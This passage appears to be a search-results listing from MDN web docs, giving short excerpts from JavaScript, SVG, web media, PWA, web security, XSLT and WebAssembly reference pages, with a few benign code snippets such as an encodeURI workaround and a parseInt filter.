rmed uri sequence" console.log(encodeuri('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\udfff')); encoding for ipv6 if one wishes to follow the more recent rfc3986 for urls, which makes square brackets reserved (for ipv6) and thus not encoded when forming something which could be part of a url (such as a host), the following code snippet may help: function fixedencodeuri(str) { return encodeuri(str).replace(/%5b/g, '[').replace(/%5d/g, ']'); } specifications specification ecmascript (ecma-262)the definition of 'encodeuri' in that specification.
eval() - JavaScript
} , false); closures are also helpful as a way to create parameterized functions without concatenating strings.
globalThis - JavaScript
in this way, you can access the global object in a consistent manner without having to know which environment the code is being run in.to help you remember the name, just remember that in global scope the this value is globalthis.
parseInt() - JavaScript
regular expressions can help: function filterint(value) { if (/^[-+]?(\d+|infinity)$/.test(value)) { return number(value) } else { return nan } } console.log(filterint('421')) // 421 console.log(filterint('-421')) // -421 console.log(filterint('+421')) // 421 console.log(filterint('infinity')) // infinity console.log(filterint('421e+0')) // nan ...
Standard built-in objects - JavaScript
arraybuffer sharedarraybuffer atomics dataview json control abstraction objects control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example).
super - JavaScript
this works with the help of object.setprototypeof() with which we are able to set the prototype of obj2 to obj1, so that super is able to find method1 on obj1.
void operator - JavaScript
it should be noted that the precedence of the void operator should be taken into account and that parentheses can help clarify the resolution of the expression following the void operator: void 2 == '2'; // (void 2) == '2', returns false void (2 == '2'); // void (2 == '2'), returns undefined examples immediately invoked function expressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration.
yield - JavaScript
unfortunately, next() is asymmetric, but that can’t be helped: it always sends a value to the currently suspended yield, but returns the operand of the following yield.
with - JavaScript
performance pro & contra pro: the with statement can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty.
JavaScript typed arrays - JavaScript
however, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
description - Web app manifests
examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
dir - Web app manifests
WebManifestdir
together with the lang member, it helps to correctly display right-to-left languages.
<mrow> - MathML
WebMathMLElementmrow
proper grouping helps the rendering of the expression in several ways: it can improve the display by possibly affecting spacing.
Examples - MathML
below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content.
Autoplay guide for media and Web Audio APIs - Web media technologies
the http header is: feature-policy: autoplay 'none' using the <iframe>'s allow attribute: <iframe src="mediaplayer.html" allow="autoplay 'none'"> </iframe> best practices tips and recommended best practices to help you make the most of working with autoplay are offered here.
Web audio codec guide - Web media technologies
here we'll provide guidance to help you select an appropriate codec for your use case.
Image file type and format guide - Web media technologies
in this guide, we'll cover the image file types generally supported by web browsers, and provide insights that will help you select the most appropriate formats to use for your site's imagery.
Codecs used by WebRTC - Web media technologies
this helps to avoid a jarring effect that can occur when voice activation and similar features cause a stream to stop sending data temporarily—a capability known as discontinuous transmission (dtx).
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
handling media support issues in web content in this guide, we look at how to build web content that maximizes quality or performance while providing the broadest possible compatibility, by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful.
Using images in HTML - Web media technologies
WebMediaimages
learn html: responsive images in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
Web media technologies
this article lists the various apis with links to documentation you may find helpful in mastering them.
OpenSearch description format
if the error message isn't be helpful, the following tips could help you find the problem.
Populating the page: how browsers work - Web Performance
to understand how to improve performance and perceived performance, it helps to understand how the browser works.
Recommended Web Performance Timings: How long is too long? - Web Performance
while a slower than 100ms reaction may create a disconnect between the user interaction and the response, a 100 to 200ms transition for a response may help the user notice the response their interaction initiated, such as a menu opening.
Performance budgets - Web Performance
a performance budget helps you protect optimal behavior for your current users while enabling you to tap into new markets and deliver custom experiences.
How to make PWAs installable - Progressive web apps (PWAs)
now let's move to the last piece of the pwa puzzle: using push notifications to share announcements with the user, and to help the user re-engage with your app.
Graphic design for responsive sites - Progressive web apps (PWAs)
this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs.
Mobile first - Progressive web apps (PWAs)
selectively include javascript libraries according to media query and feature tests (require.js is built in, which is helpful and very easy to use.) html structure for this example app, the html structure is going to be very simple: i am just including a heading, navigation menu and filler text to highlight the fact that articles can get very long on narrow screen devices.
Responsive Navigation Patterns - Progressive web apps (PWAs)
need some help designing your app's navigation?
Progressive web apps (PWAs)
progressive loadingin previous articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push.
cursor - SVG: Scalable Vector Graphics
WebSVGAttributecursor
usage context categories presentation attribute value [[<funciri>,]* [ auto | crosshair | default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit animatable yes normative document svg 1.1 (2nd edition) <funciri> functional notation for a reference.
xlink:title - SVG: Scalable Vector Graphics
it may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource.
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
below is a list of all of the attributes available in svg along with links to reference documentation to help you learn which elements support them and how they work.
<discard> - SVG: Scalable Vector Graphics
WebSVGElementdiscard
this is particularly useful to help svg viewers conserve memory while displaying long-running documents.
Basic Transformations - SVG: Scalable Vector Graphics
with this helper, you can assign properties to a complete set of elements.
Filter effects - SVG: Scalable Vector Graphics
while basic blurs can be achieved with the help of gradients, the blur filter is needed to do anything beyond.
Introduction - SVG: Scalable Vector Graphics
hopefully, along with the tutorial here, mdn can help developers keep up with the differences between gecko and some of the other major implementations.
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
this interactive demo might help understand the concepts behind svg arcs: http://codepen.io/lingtalfi/pen/yalwjg (tested in chrome and firefox only, might not work in your browser) « previousnext » ...
SVG Filters Tutorial - SVG: Scalable Vector Graphics
this element has different attributes that help us create the clipping region.
SVG fonts - SVG: Scalable Vector Graphics
there are several accompanying attributes that help further define the basic glyph-box layout.
SVG Tutorial - SVG: Scalable Vector Graphics
WebSVGTutorial
if you're able, please help out by chipping in and writing a paragraph or two.
SVG: Scalable Vector Graphics
WebSVG
getting started this tutorial will help get you started using svg.
How to fix a website with blocked mixed content - Web security
there are online as well as offline tools (depending on your operating system) such as linkchecker to help resolve this.
Referer header: privacy and security concerns - Web security
you should enlist the help of a web security expert to write these requirements, and consider both user needs and welfare, as well as other issues like policy and regulation enforced by legislation such as the eu general data protection regulation (gdpr).
Same-origin policy - Web security
it helps isolate potentially malicious documents, reducing possible attack vectors.
Subresource Integrity - Web security
how subresource integrity helps using content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth.
Types of attacks - Web security
this ensures all browsers are protected and provides protection where samesite cookies cannot help (such as attacks originating from a separate subdomain).
XML introduction - XML: Extensible Markup Language
learning the hypertext markup language (html) will help you better understand xml.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
if you'd like to help out with any of the above features, help would be greatly appreciated.
An Overview - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the description of netscape's capabilities that follows.
Using the WebAssembly JavaScript API - WebAssembly
now, to help us understand what is going on here, let’s look at the text representation of our wasm module (which we also meet in converting webassembly format to wasm): (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) in the second line, you will see that the import has a two-level namespace — the internal function $i ...